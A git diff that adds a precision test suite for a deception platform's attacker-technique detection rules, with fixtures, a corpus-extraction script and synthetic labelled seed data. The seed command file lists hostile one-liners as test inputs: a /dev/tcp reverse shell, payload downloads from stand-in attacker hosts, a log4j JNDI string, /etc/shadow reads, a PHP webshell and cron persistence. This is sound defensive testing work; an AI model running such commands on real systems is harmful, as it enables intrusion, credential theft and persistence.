diff --git a/.gitignore b/.gitignore
index 67d247c5..a0ed7703 100644
--- a/.gitignore
+++ b/.gitignore
@@ -57,3 +57,9 @@ deps.txt
 # build/deploy time.
 node_modules/
 package-lock.json
+
+# TTP rule-precision corpus pulled from prod sqlite. Real attacker
+# payloads — operator-only artifact. The synthetic ``seed_*.jsonl``
+# files alongside ARE committed and exercise the harness in CI.
+tests/ttp/rule_precision/corpus/*.jsonl
+!tests/ttp/rule_precision/corpus/seed_*.jsonl
diff --git a/tests/ttp/rule_precision/__init__.py b/tests/ttp/rule_precision/__init__.py
new file mode 100644
index 00000000..1e86c46d
--- /dev/null
+++ b/tests/ttp/rule_precision/__init__.py
@@ -0,0 +1,12 @@
+"""Per-rule precision suite for TTP rule pack v0.
+
+One test module per rule cohort (command / behavioral / email / canary /
+intel) drives the labelled holdout corpus through a real
+:class:`RuleEngine` bound to ``./rules/ttp/`` and asserts the
+Appendix-C precision target.
+
+Live cohort: command (R0001-R0030). Other cohorts ship YAMLs whose
+match specs target downstream lifters (E.3.9-E.3.12); their
+precision tests are :pyfunc:`pytest.xfail`-gated until the lifter
+lands, matching the CDD pattern from ``development/TTP_TAGGING.md``.
+"""
diff --git a/tests/ttp/rule_precision/_build_corpus.py b/tests/ttp/rule_precision/_build_corpus.py
new file mode 100644
index 00000000..78ba2e52
--- /dev/null
+++ b/tests/ttp/rule_precision/_build_corpus.py
@@ -0,0 +1,121 @@
+"""Extract a labelled corpus from the production sqlite DB.
+
+Run on the operator workstation against a real ``decnet-prod.db``.
+Outputs ``corpus/commands.jsonl`` (gitignored).
+
+**IP exclusion is mandatory and operator-supplied.** The operator's
+own source IP, plus any other addresses that must never end up in a
+committed/inspected corpus, are passed via ``--exclude-ip`` (repeatable)
+or the ``DECNET_TTP_CORPUS_EXCLUDE_IPS`` env var (comma-separated).
+The script refuses to run with an empty exclusion list — extracting
+attacker payloads without a vetted blocklist is a doxxing footgun and
+that mistake is not allowed to happen silently.
+
+Usage::
+
+    DECNET_TTP_CORPUS_EXCLUDE_IPS="<your-ip>,<other>" \\
+    python -m tests.ttp.rule_precision._build_corpus \\
+        --db /path/to/decnet-prod.db \\
+        --out tests/ttp/rule_precision/corpus
+"""
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import re
+import sqlite3
+import sys
+from collections.abc import Iterable
+from pathlib import Path
+from typing import Any
+
+_CMD_RE = re.compile(r"\bcmd=(.*)$")
+_ENV_VAR = "DECNET_TTP_CORPUS_EXCLUDE_IPS"
+
+
+def _extract_cmd(raw_line: str) -> str | None:
+    match = _CMD_RE.search(raw_line)
+    if match is None:
+        return None
+    cmd = match.group(1).strip()
+    return cmd or None
+
+
+def _scrub_ips(text: str, excludes: Iterable[str]) -> str:
+    out = text
+    for ip in excludes:
+        out = out.replace(ip, "0.0.0.0")
+    return out
+
+
+def _resolve_excludes(cli: list[str]) -> list[str]:
+    env = os.environ.get(_ENV_VAR, "")
+    env_parts = [chunk.strip() for chunk in env.split(",") if chunk.strip()]
+    merged = sorted({*cli, *env_parts})
+    return merged
+
+
+def build_command_corpus(
+    db_path: Path,
+    out_path: Path,
+    excludes: list[str],
+) -> int:
+    """Write ``commands.jsonl`` from the prod DB. Returns row count."""
+    if not excludes:
+        raise RuntimeError(
+            "refusing to extract corpus with empty IP exclusion list — "
+            f"set --exclude-ip or {_ENV_VAR}",
+        )
+    placeholders = ",".join("?" * len(excludes))
+    sql = (
+        "SELECT raw_line FROM logs "
+        "WHERE event_type IN ('command', 'unknown_command') "
+        f"AND attacker_ip NOT IN ({placeholders})"
+    )
+    rows: list[dict[str, Any]] = []
+    seen: set[str] = set()
+    with sqlite3.connect(db_path) as con:
+        for (raw,) in con.execute(sql, excludes):
+            cmd = _extract_cmd(raw)
+            if cmd is None or cmd in seen:
+                continue
+            seen.add(cmd)
+            scrubbed = _scrub_ips(cmd, excludes)
+            rows.append({
+                "source_kind": "command",
+                "payload": {"command_text": scrubbed},
+                "expected_rule_ids": [],
+                "label": f"prod-{len(rows):04d}",
+            })
+    out_path.mkdir(parents=True, exist_ok=True)
+    target = out_path / "commands.jsonl"
+    with target.open("w", encoding="utf-8") as fh:
+        for row in rows:
+            fh.write(json.dumps(row, ensure_ascii=False) + "\n")
+    return len(rows)
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--db", type=Path, required=True)
+    parser.add_argument("--out", type=Path, required=True)
+    parser.add_argument(
+        "--exclude-ip",
+        action="append",
+        default=[],
+        help=(
+            "IP to drop from the SQL pull AND scrub from cmd payloads. "
+            f"Repeatable. Merged with ${_ENV_VAR}. At least one "
+            "exclusion is mandatory."
+        ),
+    )
+    args = parser.parse_args(argv)
+    excludes = _resolve_excludes(args.exclude_ip)
+    n = build_command_corpus(args.db, args.out, excludes)
+    print(f"wrote {n} command rows to {args.out / 'commands.jsonl'}")
+    return 0
+
+
+if __name__ == "__main__":  # pragma: no cover
+    sys.exit(main())
diff --git a/tests/ttp/rule_precision/conftest.py b/tests/ttp/rule_precision/conftest.py
new file mode 100644
index 00000000..360c7202
--- /dev/null
+++ b/tests/ttp/rule_precision/conftest.py
@@ -0,0 +1,220 @@
+"""Fixtures for the per-rule precision suite.
+
+Two halves:
+
+* :func:`precision_engine` — async fixture that builds a real
+  :class:`RuleEngine` populated from ``./rules/ttp/`` via
+  :func:`_parse_and_compile`. We bypass ``RuleEngine.watch_store``
+  (which would loop forever on the inotify subscription) and instead
+  call ``_install`` directly per rule. The engine reads no rules
+  through any store ABC method, so a stub store passes for
+  construction.
+* :func:`corpus_loader` — factory fixture returning labelled rows
+  for a cohort (``commands`` / ``email`` / ``intel`` / ``canary`` /
+  ``behavioral``). Prefers ``corpus/<name>.jsonl`` (operator-built,
+  gitignored) and falls back to ``corpus/seed_<name>.jsonl``
+  (synthetic, committed). If neither exists the fixture returns ``[]``
+  and the precision tests :func:`pytest.skip` themselves — letting a
+  fresh checkout exercise the harness without a corpus.
+"""
+from __future__ import annotations
+
+import json
+from collections.abc import Callable
+from pathlib import Path
+from typing import Any, NamedTuple
+
+import pytest
+import pytest_asyncio
+
+from decnet.ttp.base import TaggerEvent
+from decnet.ttp.impl.rule_engine import CompiledRule, RuleEngine
+from decnet.ttp.store.base import RuleState
+from decnet.ttp.store.impl.filesystem import _parse_and_compile
+
+_RULES_DIR = Path(__file__).resolve().parents[2] / "rules" / "ttp"
+_CORPUS_DIR = Path(__file__).resolve().parent / "corpus"
+
+
+class CorpusRow(NamedTuple):
+    """One labelled corpus row.
+
+    ``payload`` carries the keys the engine's match operator reads —
+    ``command_text`` for ``command``, ``raw_url`` for ``http_request``,
+    etc. ``expected_rule_ids`` is the human-labelled ground truth: the
+    rules a competent analyst would expect to fire on this row.
+    Negative examples (``[]``) are load-bearing for precision: they
+    catch FPs by giving non-matching payloads in the "matches" pool.
+    """
+
+    source_kind: str
+    payload: dict[str, Any]
+    expected_rule_ids: tuple[str, ...]
+    label: str
+
+
+class _StubStore:
+    """Just enough of :class:`RuleStore` to satisfy ``RuleEngine.__init__``.
+
+    The fixture installs rules directly into the engine's dispatch
+    index; no store method is actually called during precision tests.
+    """
+
+    async def load_compiled(self) -> list[CompiledRule]:
+        return []
+
+    async def get_state(self, _rule_id: str) -> RuleState:
+        return RuleState()
+
+    async def set_state(self, *_a: Any, **_kw: Any) -> None:
+        return None
+
+    def subscribe_changes(self) -> Any:
+        async def _gen() -> Any:
+            if False:  # pragma: no cover
+                yield None
+        return _gen()
+
+
+def _load_compiled_rules() -> list[CompiledRule]:
+    """Compile every YAML under ``./rules/ttp/`` once per session.
+
+    Ignores files that fail to parse — the cohort tests assert presence
+    of their rule_id, so a bad YAML surfaces as a missing-rule failure
+    rather than a confusing ImportError out of the fixture.
+    """
+    if not _RULES_DIR.exists():
+        return []
+    out: list[CompiledRule] = []
+    state = RuleState()
+    for path in sorted(_RULES_DIR.iterdir()):
+        if path.suffix not in {".yaml", ".yml"}:
+            continue
+        try:
+            out.append(_parse_and_compile(path, state))
+        except Exception:  # noqa: BLE001 — broken YAML is its own failure surface
+            continue
+    return out
+
+
+@pytest.fixture(scope="session")
+def compiled_rules() -> list[CompiledRule]:
+    return _load_compiled_rules()
+
+
+@pytest_asyncio.fixture
+async def precision_engine(
+    compiled_rules: list[CompiledRule],
+) -> RuleEngine:
+    """A :class:`RuleEngine` with every YAML rule installed.
+
+    Bypasses ``watch_store()`` (it loops forever on the inotify
+    subscription). The engine's public ``evaluate()`` reads only
+    ``self._by_kind`` / ``self._by_rule``, both populated here.
+    """
+    engine = RuleEngine(_StubStore())  # type: ignore[arg-type]
+    for rule in compiled_rules:
+        engine._install(rule)
+    return engine
+
+
+def _read_jsonl(path: Path) -> list[dict[str, Any]]:
+    rows: list[dict[str, Any]] = []
+    with path.open("r", encoding="utf-8") as handle:
+        for line in handle:
+            stripped = line.strip()
+            if not stripped or stripped.startswith("#"):
+                continue
+            rows.append(json.loads(stripped))
+    return rows
+
+
+def _resolve_corpus_path(name: str) -> Path | None:
+    real = _CORPUS_DIR / f"{name}.jsonl"
+    if real.exists():
+        return real
+    seed = _CORPUS_DIR / f"seed_{name}.jsonl"
+    if seed.exists():
+        return seed
+    return None
+
+
+def _row_from_dict(raw: dict[str, Any]) -> CorpusRow:
+    return CorpusRow(
+        source_kind=str(raw.get("source_kind", "command")),
+        payload=dict(raw.get("payload", {})),
+        expected_rule_ids=tuple(raw.get("expected_rule_ids", [])),
+        label=str(raw.get("label", "")),
+    )
+
+
+@pytest.fixture(scope="session")
+def corpus_loader() -> Callable[[str], list[CorpusRow]]:
+    """Return a callable that loads a cohort's labelled corpus.
+
+    Resolution order: ``corpus/<name>.jsonl`` (real, gitignored) →
+    ``corpus/seed_<name>.jsonl`` (synthetic, committed) → empty list
+    (caller's tests skip).
+    """
+
+    def _load(name: str) -> list[CorpusRow]:
+        path = _resolve_corpus_path(name)
+        if path is None:
+            return []
+        return [_row_from_dict(row) for row in _read_jsonl(path)]
+
+    return _load
+
+
+def make_event(row: CorpusRow, source_id: str = "src") -> TaggerEvent:
+    """Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`."""
+    return TaggerEvent(
+        source_kind=row.source_kind,
+        source_id=source_id,
+        attacker_uuid=None,
+        identity_uuid=None,
+        session_id=None,
+        decky_id=None,
+        payload=row.payload,
+    )
+
+
+def precision_for(
+    rule_id: str,
+    rows: list[CorpusRow],
+    fired: dict[str, list[str]],
+) -> tuple[float, int, int]:
+    """Compute precision = TP / (TP + FP) for *rule_id*.
+
+    ``fired[label] = [rule_ids that matched this row]``. A row whose
+    ``expected_rule_ids`` includes *rule_id* and whose match set
+    includes *rule_id* is a TP. A row that fired *rule_id* but did
+    NOT expect it is a FP.
+
+    Returns ``(precision, tp, fp)``. Precision is ``1.0`` when no
+    matches fired (vacuously) — callers gate that case with the
+    ``min_matches`` check before asserting.
+    """
+    tp = 0
+    fp = 0
+    for row in rows:
+        matched = rule_id in fired.get(row.label, [])
+        expected = rule_id in row.expected_rule_ids
+        if matched and expected:
+            tp += 1
+        elif matched and not expected:
+            fp += 1
+    total = tp + fp
+    if total == 0:
+        return 1.0, 0, 0
+    return tp / total, tp, fp
+
+
+__all__ = [
+    "CorpusRow",
+    "compiled_rules",
+    "precision_engine",
+    "corpus_loader",
+    "make_event",
+    "precision_for",
+]
diff --git a/tests/ttp/rule_precision/corpus/seed_behavioral.jsonl b/tests/ttp/rule_precision/corpus/seed_behavioral.jsonl
new file mode 100644
index 00000000..be5eb63a
--- /dev/null
+++ b/tests/ttp/rule_precision/corpus/seed_behavioral.jsonl
@@ -0,0 +1,2 @@
+{"source_kind": "session", "payload": {"beacon_interval_s": 60, "beacon_jitter_pct": 0.05}, "expected_rule_ids": ["R0031"], "label": "low_jitter_beacon"}
+{"source_kind": "session", "payload": {"beacon_interval_s": 0, "beacon_jitter_pct": 0}, "expected_rule_ids": [], "label": "negative_no_beacon"}
diff --git a/tests/ttp/rule_precision/corpus/seed_canary.jsonl b/tests/ttp/rule_precision/corpus/seed_canary.jsonl
new file mode 100644
index 00000000..42ed8da3
--- /dev/null
+++ b/tests/ttp/rule_precision/corpus/seed_canary.jsonl
@@ -0,0 +1,2 @@
+{"source_kind": "canary_fingerprint", "payload": {"ua_signature": "HeadlessChrome/119", "navigator_webdriver": true}, "expected_rule_ids": ["R0049"], "label": "webdriver_flag"}
+{"source_kind": "canary_fingerprint", "payload": {"ua_signature": "Mozilla/5.0", "navigator_webdriver": false}, "expected_rule_ids": [], "label": "negative_browser"}
diff --git a/tests/ttp/rule_precision/corpus/seed_commands.jsonl b/tests/ttp/rule_precision/corpus/seed_commands.jsonl
new file mode 100644
index 00000000..163b2be2
--- /dev/null
+++ b/tests/ttp/rule_precision/corpus/seed_commands.jsonl
@@ -0,0 +1,41 @@
+{"source_kind": "command", "payload": {"command_text": "hydra -L users.txt -P pass.txt ssh://10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"}
+{"source_kind": "command", "payload": {"command_text": "medusa -h 10.0.0.1 -u root -P passlist -M ssh"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"}
+{"source_kind": "command", "payload": {"command_text": "ncrack -p 22 --user root -P rockyou.txt 10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"}
+{"source_kind": "command", "payload": {"command_text": "sqlmap -u http://victim/x?id=1 --dbs"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_invocation"}
+{"source_kind": "command", "payload": {"command_text": "curl -H 'X-Api-Version: ${jndi:ldap://x.evil/a}' http://target"}, "expected_rule_ids": ["R0008", "R0012"], "label": "log4j_jndi_curl"}
+{"source_kind": "command", "payload": {"command_text": "curl http://target/page?file=../../../../etc/passwd"}, "expected_rule_ids": ["R0009", "R0013", "R0012"], "label": "path_traversal_passwd"}
+{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011", "R0019"], "label": "sh_dash_c_id"}
+{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010", "R0011"], "label": "bash_revshell_devtcp"}
+{"source_kind": "command", "payload": {"command_text": "python3 -c 'import os; os.system(\"id\")'"}, "expected_rule_ids": ["R0011"], "label": "python_oneliner"}
+{"source_kind": "command", "payload": {"command_text": "wget http://attacker/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"}
+{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"}
+{"source_kind": "command", "payload": {"command_text": "cat /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "cat_etc_passwd"}
+{"source_kind": "command", "payload": {"command_text": "less /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "less_etc_passwd"}
+{"source_kind": "command", "payload": {"command_text": "cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "cat_etc_shadow"}
+{"source_kind": "command", "payload": {"command_text": "find / -perm -u=s -type f 2>/dev/null"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_suid"}
+{"source_kind": "command", "payload": {"command_text": "find / -perm -4000"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_perm_4000"}
+{"source_kind": "command", "payload": {"command_text": "find / -name '*.conf'"}, "expected_rule_ids": ["R0016"], "label": "find_recursive_no_suid"}
+{"source_kind": "command", "payload": {"command_text": "nmap -sS -p 1-65535 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "nmap_scan"}
+{"source_kind": "command", "payload": {"command_text": "masscan 10.0.0.0/8 -p443"}, "expected_rule_ids": ["R0017"], "label": "masscan"}
+{"source_kind": "command", "payload": {"command_text": "uname -a"}, "expected_rule_ids": ["R0018"], "label": "uname_a"}
+{"source_kind": "command", "payload": {"command_text": "lsb_release -a"}, "expected_rule_ids": ["R0018"], "label": "lsb_release"}
+{"source_kind": "command", "payload": {"command_text": "id"}, "expected_rule_ids": ["R0019"], "label": "id_alone"}
+{"source_kind": "command", "payload": {"command_text": "whoami"}, "expected_rule_ids": ["R0019"], "label": "whoami"}
+{"source_kind": "command", "payload": {"command_text": "ip addr"}, "expected_rule_ids": ["R0020"], "label": "ip_addr"}
+{"source_kind": "command", "payload": {"command_text": "ifconfig -a"}, "expected_rule_ids": ["R0020"], "label": "ifconfig"}
+{"source_kind": "command", "payload": {"command_text": "netstat -an"}, "expected_rule_ids": ["R0021"], "label": "netstat_an"}
+{"source_kind": "command", "payload": {"command_text": "ss -tnp"}, "expected_rule_ids": ["R0021"], "label": "ss_tnp"}
+{"source_kind": "command", "payload": {"command_text": "ldapsearch -x -b dc=example,dc=com '(objectClass=user)'"}, "expected_rule_ids": ["R0022"], "label": "ldapsearch"}
+{"source_kind": "command", "payload": {"command_text": "smbclient -L //10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "smbclient_list"}
+{"source_kind": "command", "payload": {"command_text": "useradd -m -s /bin/bash backdoor"}, "expected_rule_ids": ["R0024"], "label": "useradd"}
+{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"}
+{"source_kind": "command", "payload": {"command_text": "redis-cli -h 10.0.0.5 config set dir /root/.ssh"}, "expected_rule_ids": ["R0026"], "label": "redis_ssh_dir"}
+{"source_kind": "command", "payload": {"command_text": "echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/x.php"}, "expected_rule_ids": ["R0027"], "label": "webshell_php"}
+{"source_kind": "command", "payload": {"command_text": "history -c"}, "expected_rule_ids": ["R0028"], "label": "history_clear"}
+{"source_kind": "command", "payload": {"command_text": "unset HISTFILE"}, "expected_rule_ids": ["R0028"], "label": "unset_histfile"}
+{"source_kind": "command", "payload": {"command_text": "sudo -l"}, "expected_rule_ids": ["R0029"], "label": "sudo_l"}
+{"source_kind": "command", "payload": {"command_text": "sudo su -"}, "expected_rule_ids": ["R0029"], "label": "sudo_su"}
+{"source_kind": "command", "payload": {"command_text": "ls /tmp"}, "expected_rule_ids": [], "label": "negative_ls_tmp"}
+{"source_kind": "command", "payload": {"command_text": "echo hello"}, "expected_rule_ids": [], "label": "negative_echo"}
+{"source_kind": "command", "payload": {"command_text": "cd /var/log"}, "expected_rule_ids": [], "label": "negative_cd"}
+{"source_kind": "command", "payload": {"command_text": "ps aux"}, "expected_rule_ids": [], "label": "negative_ps_aux"}
diff --git a/tests/ttp/rule_precision/corpus/seed_email.jsonl b/tests/ttp/rule_precision/corpus/seed_email.jsonl
new file mode 100644
index 00000000..b6034d59
--- /dev/null
+++ b/tests/ttp/rule_precision/corpus/seed_email.jsonl
@@ -0,0 +1,3 @@
+{"source_kind": "email", "payload": {"subject": "Urgent wire transfer needed", "from": "ceo@victim.example", "return_path": "evil@bad.example", "rcpt_count": 1, "body": "Please send $50k to the attached account immediately."}, "expected_rule_ids": ["R0047"], "label": "bec_wire"}
+{"source_kind": "email", "payload": {"subject": "Newsletter", "from": "marketing@legit.example", "rcpt_count": 1, "body": "Hello world."}, "expected_rule_ids": [], "label": "negative_newsletter"}
+{"source_kind": "email", "payload": {"subject": "Win a prize", "from": "promo@evil.example", "rcpt_count": 250, "body": "Click here http://evil.example/win"}, "expected_rule_ids": ["R0042"], "label": "mass_phish"}
diff --git a/tests/ttp/rule_precision/corpus/seed_intel.jsonl b/tests/ttp/rule_precision/corpus/seed_intel.jsonl
new file mode 100644
index 00000000..349512de
--- /dev/null
+++ b/tests/ttp/rule_precision/corpus/seed_intel.jsonl
@@ -0,0 +1,2 @@
+{"source_kind": "intel", "payload": {"verdict": "malicious", "provider": "abuseipdb", "categories": [18, 22]}, "expected_rule_ids": ["R0054"], "label": "abuseipdb_brute"}
+{"source_kind": "intel", "payload": {"verdict": "benign", "provider": "greynoise", "tags": []}, "expected_rule_ids": [], "label": "negative_benign"}
diff --git a/tests/ttp/rule_precision/test_corpus_loads.py b/tests/ttp/rule_precision/test_corpus_loads.py
new file mode 100644
index 00000000..6a47ee0a
--- /dev/null
+++ b/tests/ttp/rule_precision/test_corpus_loads.py
@@ -0,0 +1,33 @@
+"""Sentinel: every cohort's seed corpus parses and the harness lives.
+
+Runs in clean checkouts (no operator-built corpus). Asserts the seed
+JSONL files load through :func:`corpus_loader` without raising and
+yield non-empty lists. Doesn't run any rules — that's the per-cohort
+suites' job. This sentinel exists so a busted corpus file fails the
+suite immediately, not three commits later when the first cohort
+test finally tries to load it.
+"""
+from __future__ import annotations
+
+from collections.abc import Callable
+
+import pytest
+
+from tests.ttp.rule_precision.conftest import CorpusRow
+
+CohortLoader = Callable[[str], list[CorpusRow]]
+
+
+@pytest.mark.parametrize(
+    "name",
+    ["commands", "email", "intel", "canary", "behavioral"],
+)
+def test_seed_corpus_loads(
+    corpus_loader: CohortLoader, name: str,
+) -> None:
+    rows = corpus_loader(name)
+    assert rows, f"seed_{name}.jsonl returned no rows"
+    for row in rows:
+        assert row.source_kind, f"row {row.label} missing source_kind"
+        assert isinstance(row.payload, dict)
+        assert isinstance(row.expected_rule_ids, tuple)